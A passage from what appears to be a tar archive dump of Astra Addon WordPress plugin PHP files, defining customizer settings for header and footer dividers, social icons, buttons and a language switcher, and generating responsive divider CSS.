please check if elements are added in the current %1$s row.', 'astra-addon' ), $builder_type ), 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-divider-' . $index . '-layout]', 'operator' => '==', 'value' => 'vertical', ), ), ), /** * Option: Divider Style */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-divider-' . $index . '-style]', 'default' => astra_get_option( $builder_type . '-divider-' . $index . '-style' ), 'type' => 'control', 'control' => Astra_Theme_Extension::$selector_control, 'section' => $_section, 'priority' => 30, 'title' => __( 'Style', 'astra-addon' ), 'choices' => array( 'solid' => __( 'Solid', 'astra-addon' ), 'dashed' => __( 'Dashed', 'astra-addon' ), 'dotted' => __( 'Dotted', 'astra-addon' ), 'double' => __( 'Double', 'astra-addon' ), ), 'transport' => 'postMessage', 'responsive' => false, 'renderAs' => 'text', 'divider' => array( 'ast_class' => 'ast-top-section-divider' ), ), // Section: Above Footer Border. array( 'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-divider-' . $index . '-thickness]', 'section' => $_section, 'priority' => 40, 'transport' => 'postMessage', 'default' => astra_get_option( $builder_type . '-divider-' . $index . '-thickness' ), 'title' => __( 'Thickness', 'astra-addon' ), 'type' => 'control', 'control' => 'ast-responsive-slider', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_slider' ), 'input_attrs' => array( 'min' => 0, 'step' => 1, 'max' => 60, ), 'divider' => array( 'ast_class' => 'ast-bottom-section-divider' ), 'suffix' => 'px', 'context' => astra_addon_builder_helper()->design_tab, ), // Section: Above Footer Border. array( 'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-divider-' . $index . '-size]', 'section' => $_section, 'priority' => 40, 'transport' => 'postMessage', 'default' => astra_get_option( $builder_type . '-divider-' . $index . '-size' ), 'title' => __( 'Size', 'astra-addon' ), 'type' => 'control', 'control' => 'ast-responsive-slider', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_slider' ), 'input_attrs' => array( 'min' => 0, 'step' => 1, 'max' => 100, ), 'suffix' => '%', 'context' => array( astra_addon_builder_helper()->design_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-divider-' . $index . '-layout]', 'operator' => '==', 'value' => $divider_size_layout, ), ), ), /** * Option: divider Color. */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-divider-' . $index . '-color]', 'default' => astra_get_option( $builder_type . '-divider-' . $index . '-color' ), 'type' => 'control', 'section' => $_section, 'priority' => 8, 'transport' => 'postMessage', 'control' => 'ast-color', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_alpha_color' ), 'title' => __( 'Color', 'astra-addon' ), 'context' => astra_addon_builder_helper()->design_tab, 'divider' => array( 'ast_class' => 'ast-section-spacing ast-bottom-section-divider' ), ), /** * Option: Divider */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $_section . '-margin-divider]', 'section' => $_section, 'title' => __( 'Spacing', 'astra-addon' ), 'type' => 'control', 'control' => 'ast-heading', 'priority' => 99, 'settings' => array(), 'context' => astra_addon_builder_helper()->design_tab, 'divider' => array( 'ast_class' => 'ast-section-spacing' ), ), /** * Option: Margin Space */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $_section . '-margin]', 'default' => astra_get_option( $_section . '-margin' ), 'type' => 'control', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'section' => $_section, 'transport' => 'postMessage', 'priority' => 99, 'title' => __( 'Margin', 'astra-addon' ), 'linked_choices' => true, 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), 'context' => astra_addon_builder_helper()->design_tab, 'divider' => array( 'ast_class' => 'ast-section-spacing' ), ), ); if ( 'footer' === $builder_type ) { $_configs[] = array( 'name' => ASTRA_THEME_SETTINGS . '[footer-divider-' . $index . '-alignment]', 'default' => astra_get_option( 'footer-divider-' . $index . '-alignment' ), 'type' => 'control', 'control' => Astra_Theme_Extension::$selector_control, 'section' => $_section, 'priority' => 35, 'title' => __( 'Alignment', 'astra-addon' ), 'choices' => array( 'flex-start' => __( 'Left', 'astra-addon' ), 'center' => __( 'Center', 'astra-addon' ), 'flex-end' => __( 'Right', 'astra-addon' ), ), 'transport' => 'postMessage', 'responsive' => true, 'renderAs' => 'text', 'divider' => array( 'ast_class' => 'ast-top-section-divider' ), ); // Footer vertical divider size. $_configs[] = array( 'name' => ASTRA_THEME_SETTINGS . '[footer-vertical-divider-' . $index . '-size]', 'section' => $_section, 'priority' => 40, 'transport' => 'postMessage', 'default' => astra_get_option( 'footer-vertical-divider-' . $index . '-size' ), 'title' => __( 'Size', 'astra-addon' ), 'type' => 'control', 'control' => 'ast-responsive-slider', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_slider' ), 'input_attrs' => array( 'min' => 0, 'step' => 1, 'max' => 1000, ), 'suffix' => 'px', 'context' => array( astra_addon_builder_helper()->design_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-divider-' . $index . '-layout]', 'operator' => '==', 'value' => 'vertical', ), ), ); } if ( 'header' === $builder_type ) { // Header horizontal divider size. $_configs[] = array( 'name' => ASTRA_THEME_SETTINGS . '[header-horizontal-divider-' . $index . '-size]', 'section' => $_section, 'priority' => 40, 'transport' => 'postMessage', 'default' => astra_get_option( 'header-horizontal-divider-' . $index . '-size' ), 'title' => __( 'Size', 'astra-addon' ), 'type' => 'control', 'control' => 'ast-responsive-slider', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_slider' ), 'input_attrs' => array( 'min' => 0, 'step' => 1, 'max' => 1000, ), 'suffix' => 'px', 'context' => array( astra_addon_builder_helper()->design_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-divider-' . $index . '-layout]', 'operator' => '==', 'value' => 'horizontal', ), ), ); } if ( class_exists( 'Astra_Builder_Base_Configuration' ) && method_exists( 'Astra_Builder_Base_Configuration', 'prepare_visibility_tab' ) ) { $divider_config[] = Astra_Builder_Base_Configuration::prepare_visibility_tab( $_section, $builder_type ); } $divider_config[] = $_configs; } $divider_config = call_user_func_array( 'array_merge', $divider_config + array( array() ) ); $configurations = array_merge( $configurations, $divider_config ); return $configurations; } } /** * Kicking this off by creating object of this class. */ new Astra_Divider_Component_Configs(); builder/type/base/configurations/class-astra-social-component-configs.php 0000666 00000005233 15165730731 0022762 0 ustar 00 <?php /** * Astra Theme Customizer Configuration Builder. * * @package astra-builder * @link https://wpastra.com/ * @since 3.0.0 */ // No direct access, please. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Register Builder Customizer Configurations. * * @since 3.0.0 */ // @codingStandardsIgnoreStart class Astra_Social_Component_Configs { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Register Builder Customizer Configurations. * * @param Array $configurations Configurations. * @param string $builder_type Builder Type. * @param string $section Section slug. * @since 3.0.0 * @return Array Astra Customizer Configurations with updated configurations. */ public static function register_configuration( $configurations, $builder_type = 'header', $section = 'section-hb-social-icons-' ) { $social_configs = array(); $class_obj = Astra_Addon_Builder_Header::get_instance(); $number_of_social_icons = astra_addon_builder_helper()->num_of_header_social_icons; if ( 'footer' === $builder_type ) { $class_obj = Astra_Addon_Builder_Footer::get_instance(); $number_of_social_icons = astra_addon_builder_helper()->num_of_footer_social_icons; } for ( $index = 1; $index <= $number_of_social_icons; $index++ ) { $_section = $section . $index; $_configs = array( array( 'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-social-' . $index . '-stack]', 'default' => astra_get_option( $builder_type . '-social-' . $index . '-stack' ), 'section' => $_section, 'type' => 'control', 'control' => 'ast-selector', 'title' => __( 'Stack On', 'astra-addon' ), 'priority' => 3, 'choices' => array( 'desktop' => __( 'Desktop', 'astra-addon' ), 'tablet' => __( 'Tablet', 'astra-addon' ), 'mobile' => __( 'Mobile', 'astra-addon' ), 'none' => __( 'None', 'astra-addon' ), ), 'transport' => 'postMessage', 'context' => astra_addon_builder_helper()->general_tab, 'renderAs' => 'text', 'responsive' => false, 'divider' => array( 'ast_class' => 'ast-top-section-divider' ), ), ); $social_configs[] = $_configs; } $social_configs = call_user_func_array( 'array_merge', $social_configs + array( array() ) ); $configurations = array_merge( $configurations, $social_configs ); return $configurations; } } /** * Kicking this off by creating object of this class. */ new Astra_Social_Component_Configs(); builder/type/base/configurations/class-astra-addon-button-component-configs.php 0000666 00000005514 15165730731 0024110 0 ustar 00 <?php /** * Astra Addon Customizer Configuration Button. * * @package astra-builder * @link https://wpastra.com/ * @since 3.1.0 */ // No direct access, please. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Register Button Customizer Configurations. * * @since 3.1.0 */ class Astra_Addon_Button_Component_Configs { /** * Register Button Customizer Configurations. * * @param Array $configurations Configurations. * @param string $builder_type Builder Type. * @param string $section Section. * * @since 3.1.0 * @return Array Astra Customizer Configurations with updated configurations. */ public static function register_configuration( $configurations, $builder_type = 'header', $section = 'section-hb-button-' ) { $class_obj = ''; if ( 'footer' === $builder_type && class_exists( 'Astra_Builder_Footer' ) ) { $class_obj = Astra_Builder_Footer::get_instance(); } elseif ( 'header' === $builder_type && class_exists( 'Astra_Builder_Header' ) ) { $class_obj = Astra_Builder_Header::get_instance(); } $html_config = array(); $component_limit = astra_addon_builder_helper()->component_limit; for ( $index = 1; $index <= $component_limit; $index++ ) { $_section = $section . $index; $_prefix = 'button' . $index; $_configs = array( array( 'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-size]', 'default' => astra_get_option( $builder_type . '-' . $_prefix . '-size' ), 'type' => 'control', 'control' => 'ast-select', 'section' => $_section, 'priority' => 30, 'title' => __( 'Size', 'astra-addon' ), 'choices' => array( 'xs' => __( 'Extra Small', 'astra-addon' ), 'sm' => __( 'Small', 'astra-addon' ), 'md' => __( 'Medium', 'astra-addon' ), 'lg' => __( 'Large', 'astra-addon' ), 'xl' => __( 'Extra Large', 'astra-addon' ), ), 'transport' => 'postMessage', 'context' => astra_addon_builder_helper()->general_tab, 'partial' => array( 'selector' => '.ast-' . $builder_type . '-button-' . $index, 'container_inclusive' => false, 'render_callback' => array( $class_obj, 'button_' . $index ), 'fallback_refresh' => false, ), 'divider' => array( 'ast_class' => 'ast-top-section-divider' ), ), ); $html_config[] = Astra_Addon_Base_Configs::prepare_box_shadow_tab( $_section, $builder_type . '-' . $_prefix, 99 ); $html_config[] = $_configs; } $html_config = call_user_func_array( 'array_merge', $html_config + array( array() ) ); return array_merge( $configurations, $html_config ); } } /** * Kicking this off by creating object of this class. */ new Astra_Addon_Button_Component_Configs(); builder/type/base/configurations/class-astra-language-switcher-component-configs.php 0000666 00000025716 15165730731 0025131 0 ustar 00 <?php /** * Astra Theme Customizer Configuration Builder. * * @package astra-builder * @link https://wpastra.com/ * @since 3.1.0 */ // No direct access, please. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config language_switcher base class is already present. if ( class_exists( 'Astra_Language_Switcher_Component_Configs' ) ) { return; } /** * Register Builder Customizer Configurations. * * @since 3.1.0 */ // @codingStandardsIgnoreStart class Astra_Language_Switcher_Component_Configs { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Register Builder Customizer Configurations. * * @param Array $configurations Configurations. * @param string $builder_type Builder Type. * @param string $_section Section. * * @since 3.1.0 * @return Array Astra Customizer Configurations with updated configurations. */ public static function register_configuration( $configurations, $builder_type = 'header', $_section = 'section-hb-language-switcher' ) { $lang_config = array(); if ( 'footer' === $builder_type ) { $class_obj = Astra_Addon_Builder_Footer::get_instance(); } else { $class_obj = Astra_Addon_Builder_Header::get_instance(); } $language_choices = array( 'custom' => __( 'Custom', 'astra-addon' ), ); if ( class_exists( 'SitePress' ) ) { $language_choices['wpml'] = __( 'WPML', 'astra-addon' ); } $type_context = astra_addon_builder_helper()->general_tab; if ( count( $language_choices ) > 1 ) { $type_context = array( array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-language-switcher-type]', 'operator' => '==', 'value' => 'custom', ), astra_addon_builder_helper()->general_tab_config, ); } /** * These options are related to Header Section - language switcher. */ $_configs = array( /** * Option: Header Builder Tabs */ array( 'name' => $_section . '-ast-context-tabs', 'section' => $_section, 'type' => 'control', 'control' => 'ast-builder-header-control', 'priority' => 0, 'description' => '', ), array( 'name' => $_section, 'type' => 'section', 'priority' => 1, 'title' => __( 'Language Switcher', 'astra-addon' ), 'panel' => 'panel-' . $builder_type . '-builder-group', ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-language-switcher-options]', 'section' => $_section, 'type' => 'control', 'control' => 'ast-language-selector', 'title' => __( 'Select Languages', 'astra-addon' ), 'transport' => 'postMessage', 'priority' => 2, 'default' => astra_get_option( $builder_type . '-language-switcher-options' ), 'partial' => array( 'selector' => '.ast-' . $builder_type . '-language-switcher', 'render_callback' => array( $class_obj, $builder_type . '_language_switcher' ), ), 'context' => $type_context, ), /** * Option: Position */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-language-switcher-layout]', 'default' => astra_get_option( $builder_type . '-language-switcher-layout' ), 'type' => 'control', 'control' => Astra_Theme_Extension::$selector_control, 'section' => $_section, 'priority' => 3, 'title' => __( 'Layout', 'astra-addon' ), 'choices' => array( 'horizontal' => __( 'Horizontal', 'astra-addon' ), 'vertical' => __( 'Vertical', 'astra-addon' ), ), 'transport' => 'postMessage', 'partial' => array( 'selector' => '.ast-' . $builder_type . '-language-switcher', 'render_callback' => array( $class_obj, $builder_type . '_language_switcher' ), ), 'context' => astra_addon_builder_helper()->general_tab, 'responsive' => false, 'renderAs' => 'text', 'divider' => array( 'ast_class' => 'ast-top-section-divider ast-bottom-section-divider' ), ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-language-switcher-show-flag]', 'default' => astra_get_option( $builder_type . '-language-switcher-show-flag' ), 'type' => 'control', 'control' => Astra_Theme_Extension::$switch_control, 'section' => $_section, 'priority' => 3, 'title' => __( 'Show Country Flag', 'astra-addon' ), 'partial' => array( 'selector' => '.ast-' . $builder_type . '-language-switcher', 'render_callback' => array( $class_obj, $builder_type . '_language_switcher' ), ), 'transport' => 'postMessage', 'context' => astra_addon_builder_helper()->general_tab, ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-language-switcher-show-name]', 'default' => astra_get_option( $builder_type . '-language-switcher-show-name' ), 'type' => 'control', 'control' => Astra_Theme_Extension::$switch_control, 'section' => $_section, 'priority' => 3, 'title' => __( 'Show Name', 'astra-addon' ), 'partial' => array( 'selector' => '.ast-' . $builder_type . '-language-switcher', 'render_callback' => array( $class_obj, $builder_type . '_language_switcher' ), ), 'transport' => 'postMessage', 'context' => astra_addon_builder_helper()->general_tab, ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-language-switcher-show-tname]', 'default' => astra_get_option( $builder_type . '-language-switcher-show-tname' ), 'type' => 'control', 'control' => Astra_Theme_Extension::$switch_control, 'section' => $_section, 'priority' => 3, 'title' => __( 'Show Translated Name', 'astra-addon' ), 'transport' => 'postMessage', 'partial' => array( 'selector' => '.ast-' . $builder_type . '-language-switcher', 'render_callback' => array( $class_obj, $builder_type . '_language_switcher' ), ), 'context' => array( array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-language-switcher-type]', 'operator' => '==', 'value' => 'wpml', ), astra_addon_builder_helper()->general_tab_config, ), ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-language-switcher-show-code]', 'default' => astra_get_option( $builder_type . '-language-switcher-show-code' ), 'type' => 'control', 'control' => Astra_Theme_Extension::$switch_control, 'section' => $_section, 'priority' => 3, 'title' => __( 'Show Language Code', 'astra-addon' ), 'transport' => 'postMessage', 'partial' => array( 'selector' => '.ast-' . $builder_type . '-language-switcher', 'render_callback' => array( $class_obj, $builder_type . '_language_switcher' ), ), 'context' => array( array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-language-switcher-type]', 'operator' => '==', 'value' => 'wpml', ), astra_addon_builder_helper()->general_tab_config, ), ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $_section . '-flag-size]', 'section' => $_section, 'priority' => 2, 'transport' => 'postMessage', 'default' => astra_get_option( $_section . '-flag-size' ), 'title' => __( 'Flag Size', 'astra-addon' ), 'type' => 'control', 'control' => 'ast-responsive-slider', 'input_attrs' => array( 'min' => 0, 'step' => 1, 'max' => 50, ), 'divider' => array( 'ast_class' => 'ast-bottom-section-divider' ), 'suffix' => 'px', 'context' => array( array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-language-switcher-show-flag]', 'operator' => '==', 'value' => true, ), astra_addon_builder_helper()->design_tab_config, ), ), // Section: Above Footer Border. array( 'name' => ASTRA_THEME_SETTINGS . '[' . $_section . '-flag-spacing]', 'section' => $_section, 'priority' => 2, 'transport' => 'postMessage', 'default' => astra_get_option( $_section . '-flag-spacing' ), 'title' => __( 'Flag & Text Spacing', 'astra-addon' ), 'type' => 'control', 'suffix' => 'px', 'control' => 'ast-responsive-slider', 'input_attrs' => array( 'min' => 0, 'step' => 1, 'max' => 60, ), 'context' => array( array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-language-switcher-show-name]', 'operator' => '==', 'value' => true, ), astra_addon_builder_helper()->design_tab_config, ), ), ); if ( count( $language_choices ) > 1 ) { $_configs[] = array( 'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-language-switcher-type]', 'default' => astra_get_option( $builder_type . '-language-switcher-type' ), 'type' => 'control', 'control' => 'ast-select', 'section' => $_section, 'priority' => 1, 'title' => __( 'Type', 'astra-addon' ), 'choices' => $language_choices, 'transport' => 'postMessage', 'partial' => array( 'selector' => '.ast-' . $builder_type . '-language-switcher', 'render_callback' => array( $class_obj, $builder_type . '_language_switcher' ), ), ); } if ( 'footer' === $builder_type ) { $_configs[] = array( 'name' => ASTRA_THEME_SETTINGS . '[footer-language-switcher-alignment]', 'default' => astra_get_option( 'footer-language-switcher-alignment' ), 'type' => 'control', 'control' => Astra_Theme_Extension::$selector_control, 'section' => $_section, 'priority' => 35, 'title' => __( 'Alignment', 'astra-addon' ), 'context' => astra_addon_builder_helper()->general_tab, 'divider' => array( 'ast_class' => 'ast-top-section-divider' ), 'transport' => 'postMessage', 'responsive' => true, 'choices' => array( 'flex-start' => 'align-left', 'center' => 'align-center', 'flex-end' => 'align-right', ), ); } if ( is_callable( 'Astra_Builder_Base_Configuration::prepare_visibility_tab' ) ) { $lang_config[] = Astra_Builder_Base_Configuration::prepare_visibility_tab( $_section, $builder_type ); } $lang_config[] = $_configs; $lang_config = call_user_func_array( 'array_merge', $lang_config + array( array() ) ); $configurations = array_merge( $configurations, $lang_config ); return $configurations; } } /** * Kicking this off by creating object of this class. */ new Astra_Language_Switcher_Component_Configs(); builder/type/base/configurations/class-astra-addon-base-configs.php 0000666 00000006234 15165730731 0021507 0 ustar 00 <?php /** * Astra Addon Base Configuration. * * @package astra-builder */ // No direct access, please. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class Astra_Addon_Base_Configs. */ class Astra_Addon_Base_Configs { /** * Prepare Box Shadow options. * * @param string $_section section id. * @param string $_prefix Control Prefix. * @param integer $priority Priority. * @since 3.3.0 * @return array */ public static function prepare_box_shadow_tab( $_section, $_prefix, $priority = 90 ) { $configs = array( // Option Group: Box shadow Group. array( 'name' => ASTRA_THEME_SETTINGS . '[' . $_prefix . '-shadow-group]', 'type' => 'control', 'control' => 'ast-settings-group', 'title' => __( 'Box Shadow', 'astra-addon' ), 'section' => $_section, 'transport' => 'postMessage', 'priority' => $priority, 'context' => astra_addon_builder_helper()->design_tab, 'divider' => array( 'ast_class' => 'ast-top-section-divider' ), ), /** * Option: box shadow */ array( 'name' => $_prefix . '-box-shadow-control', 'default' => astra_get_option( $_prefix . '-box-shadow-control' ), 'parent' => ASTRA_THEME_SETTINGS . '[' . $_prefix . '-shadow-group]', 'type' => 'sub-control', 'transport' => 'postMessage', 'control' => 'ast-box-shadow', 'section' => $_section, 'sanitize_callback' => array( 'Astra_Addon_Customizer', 'sanitize_box_shadow' ), 'priority' => 1, 'title' => __( 'Value', 'astra-addon' ), 'choices' => array( 'x' => __( 'X', 'astra-addon' ), 'y' => __( 'Y', 'astra-addon' ), 'blur' => __( 'Blur', 'astra-addon' ), 'spread' => __( 'Spread', 'astra-addon' ), ), 'context' => astra_addon_builder_helper()->general_tab, ), array( 'name' => $_prefix . '-box-shadow-position', 'default' => astra_get_option( $_prefix . '-box-shadow-position' ), 'parent' => ASTRA_THEME_SETTINGS . '[' . $_prefix . '-shadow-group]', 'type' => 'sub-control', 'section' => $_section, 'transport' => 'postMessage', 'control' => 'ast-select', 'title' => __( 'Position', 'astra-addon' ), 'choices' => array( 'outline' => __( 'Outline', 'astra-addon' ), 'inset' => __( 'Inset', 'astra-addon' ), ), 'priority' => 2, 'context' => astra_addon_builder_helper()->general_tab, ), array( 'name' => $_prefix . '-box-shadow-color', 'default' => astra_get_option( $_prefix . '-box-shadow-color' ), 'parent' => ASTRA_THEME_SETTINGS . '[' . $_prefix . '-shadow-group]', 'type' => 'sub-control', 'section' => $_section, 'transport' => 'postMessage', 'control' => 'ast-color', 'title' => __( 'Color', 'astra-addon' ), 'rgba' => true, 'priority' => 3, 'context' => astra_addon_builder_helper()->general_tab, ), ); return $configs; } } new Astra_Addon_Base_Configs(); builder/type/base/dynamic-css/divider/class-astra-divider-component-dynamic-css.php 0000666 00000023722 15165730731 0024531 0 ustar 00 <?php /** * Astra Divider Component Dynamic CSS. * * @package astra-builder * @link https://wpastra.com/ * @since 3.0.0 */ // No direct access, please. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer divider dynamic CSS class is already present. if ( class_exists( 'Astra_Divider_Component_Dynamic_CSS' ) ) { return; } /** * Register Builder Dynamic CSS. * * @since 3.0.0 */ // @codingStandardsIgnoreStart class Astra_Divider_Component_Dynamic_CSS { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Dynamic CSS * * @param string $builder_type Builder Type. * @return String Generated dynamic CSS for Heading Colors. * * @since 3.0.0 */ public static function astra_divider_dynamic_css( $builder_type = 'header' ) { $generated_css = ''; $number_of_divider = ( 'header' === $builder_type ) ? astra_addon_builder_helper()->num_of_header_divider : astra_addon_builder_helper()->num_of_footer_divider; for ( $index = 1; $index <= $number_of_divider; $index++ ) { if ( ! Astra_Addon_Builder_Helper::is_component_loaded( 'divider-' . $index, $builder_type ) ) { continue; } $_section = ( 'header' === $builder_type ) ? 'section-hb-divider-' . $index : 'section-fb-divider-' . $index; $selector = ( 'header' === $builder_type ) ? '.ast-header-divider-' . $index : '.ast-builder-grid-row-container-inner .footer-widget-area[data-section="section-fb-divider-' . $index . '"]'; $divider_style = astra_get_option( $builder_type . '-divider-' . $index . '-style' ); $divider_color = astra_get_option( $builder_type . '-divider-' . $index . '-color' ); $divider_thickness = astra_get_option( $builder_type . '-divider-' . $index . '-thickness' ); $divider_size = astra_get_option( $builder_type . '-divider-' . $index . '-size' ); $footer_vertical_divider_size = astra_get_option( 'footer-vertical-divider-' . $index . '-size' ); $header_horizontal_divider_size = astra_get_option( 'header-horizontal-divider-' . $index . '-size' ); $margin = astra_get_option( $_section . '-margin' ); $footer_vertical_divider_size_desktop = ( isset( $footer_vertical_divider_size['desktop'] ) ) ? (int) $footer_vertical_divider_size['desktop'] : ''; $footer_vertical_divider_size_tablet = ( isset( $footer_vertical_divider_size['tablet'] ) ) ? (int) $footer_vertical_divider_size['tablet'] : ''; $footer_vertical_divider_size_mobile = ( isset( $footer_vertical_divider_size['mobile'] ) ) ? (int) $footer_vertical_divider_size['mobile'] : ''; /** * Desktop CSS. */ $css_output_desktop = array( /** * Button Colors. */ $selector . ' .ast-divider-wrapper' => array( 'border-style' => $divider_style, 'border-color' => astra_get_option( $builder_type . '-divider-' . $index . '-color' ), ), $selector . ' .ast-divider-layout-vertical' => array( 'border-right-width' => astra_get_css_value( $divider_thickness['desktop'], 'px' ), ), $selector . '.ast-hb-divider-layout-vertical .ast-divider-layout-vertical' => array( 'height' => astra_get_css_value( $divider_size['desktop'], '%' ), ), $selector . '.ast-fb-divider-layout-vertical .ast-divider-layout-vertical' => array( 'height' => astra_get_css_value( $footer_vertical_divider_size_desktop, 'px' ), ), $selector . ' .ast-divider-layout-horizontal' => array( 'border-top-width' => astra_get_css_value( $divider_thickness['desktop'], 'px' ), ), $selector . '.ast-fb-divider-layout-horizontal .ast-divider-layout-horizontal' => array( 'width' => astra_get_css_value( $divider_size['desktop'], '%' ), ), $selector . '.ast-hb-divider-layout-horizontal .ast-divider-layout-horizontal' => array( 'width' => astra_get_css_value( $header_horizontal_divider_size['desktop'], 'px' ), ), $selector => array( // Margin. 'margin-top' => astra_responsive_spacing( $margin, 'top', 'desktop' ), 'margin-bottom' => astra_responsive_spacing( $margin, 'bottom', 'desktop' ), 'margin-left' => astra_responsive_spacing( $margin, 'left', 'desktop' ), 'margin-right' => astra_responsive_spacing( $margin, 'right', 'desktop' ), ), '.ast-container[data-section="section-above-header-builder"],.ast-container[data-section="section-primary-header-builder"],.ast-container[data-section="section-below-header-builder"],.ast-container[data-section="section-above-header-builder"] .site-header-above-section-left,.ast-container[data-section="section-above-header-builder"] .site-header-above-section-center,.ast-container[data-section="section-above-header-builder"] .site-header-above-section-right,.ast-container[data-section="section-primary-header-builder"] .site-header-primary-section-left,.ast-container[data-section="section-primary-header-builder"] .site-header-primary-section-center,.ast-container[data-section="section-primary-header-builder"] .site-header-primary-section-right,.ast-container[data-section="section-below-header-builder"] .site-header-below-section-left,.ast-container[data-section="section-below-header-builder"] .site-header-below-section-center,.ast-container[data-section="section-below-header-builder"] .site-header-below-section-right' => array( 'position' => 'relative', ), ); /** * Tablet CSS. */ $css_output_tablet = array( /** * Button Colors. */ $selector . ' .ast-divider-wrapper' => array( 'border-style' => $divider_style, 'border-color' => astra_get_option( $builder_type . '-divider-' . $index . '-color' ), ), '.ast-mobile-popup-content ' . $selector . ' .ast-divider-wrapper' => array( 'border-color' => astra_get_option( $builder_type . '-divider-' . $index . '-color' ), ), $selector . ' .ast-divider-layout-vertical' => array( 'border-right-width' => astra_get_css_value( $divider_thickness['tablet'], 'px' ), ), $selector . '.ast-hb-divider-layout-vertical .ast-divider-layout-vertical' => array( 'height' => astra_get_css_value( $divider_size['tablet'], '%' ), ), $selector . '.ast-fb-divider-layout-vertical .ast-divider-layout-vertical' => array( 'height' => astra_get_css_value( $footer_vertical_divider_size_tablet, 'px' ), ), $selector . ' .ast-divider-layout-horizontal' => array( 'border-top-width' => astra_get_css_value( $divider_thickness['tablet'], 'px' ), ), $selector . '.ast-fb-divider-layout-horizontal .ast-divider-layout-horizontal' => array( 'width' => astra_get_css_value( $divider_size['tablet'], '%' ), ), $selector . '.ast-hb-divider-layout-horizontal .ast-divider-layout-horizontal' => array( 'width' => astra_get_css_value( $header_horizontal_divider_size['tablet'], 'px' ), ), $selector => array( // Margin CSS. 'margin-top' => astra_responsive_spacing( $margin, 'top', 'tablet' ), 'margin-bottom' => astra_responsive_spacing( $margin, 'bottom', 'tablet' ), 'margin-left' => astra_responsive_spacing( $margin, 'left', 'tablet' ), 'margin-right' => astra_responsive_spacing( $margin, 'right', 'tablet' ), ), ); /** * Tablet CSS. */ $css_output_mobile = array( /** * Button Colors. */ $selector . ' .ast-divider-wrapper' => array( 'border-style' => $divider_style, 'border-color' => astra_get_option( $builder_type . '-divider-' . $index . '-color' ), ), '.ast-mobile-popup-content ' . $selector . ' .ast-divider-wrapper' => array( 'border-color' => astra_get_option( $builder_type . '-divider-' . $index . '-color' ), ), $selector . ' .ast-divider-layout-vertical' => array( 'border-right-width' => astra_get_css_value( $divider_thickness['mobile'], 'px' ), ), $selector . '.ast-hb-divider-layout-vertical .ast-divider-layout-vertical' => array( 'height' => astra_get_css_value( $divider_size['mobile'], '%' ), ), $selector . '.ast-fb-divider-layout-vertical .ast-divider-layout-vertical' => array( 'height' => astra_get_css_value( $footer_vertical_divider_size_mobile, 'px' ), ), $selector . ' .ast-divider-layout-horizontal' => array( 'border-top-width' => astra_get_css_value( $divider_thickness['mobile'], 'px' ), ), $selector . '.ast-fb-divider-layout-horizontal .ast-divider-layout-horizontal' => array( 'width' => astra_get_css_value( $divider_size['mobile'], '%' ), ), $selector . '.ast-hb-divider-layout-horizontal .ast-divider-layout-horizontal' => array( 'width' => astra_get_css_value( $header_horizontal_divider_size['mobile'], 'px' ), ), $selector => array( // Margin CSS. 'margin-top' => astra_responsive_spacing( $margin, 'top', 'mobile' ), 'margin-bottom' => astra_responsive_spacing( $margin, 'bottom', 'mobile' ), 'margin-left' => astra_responsive_spacing( $margin, 'left', 'mobile' ), 'margin-right' => astra_responsive_spacing( $margin, 'right', 'mobile' ), ), ); /* Parse CSS from array() */ $css_output = astra_parse_css( $css_output_desktop ); $css_output .= astra_parse_css( $css_output_tablet, '', astra_addon_get_tablet_breakpoint() ); $css_output .= astra_parse_css( $css_output_mobile, '', astra_addon_get_mobile_breakpoint() ); $generated_css .= 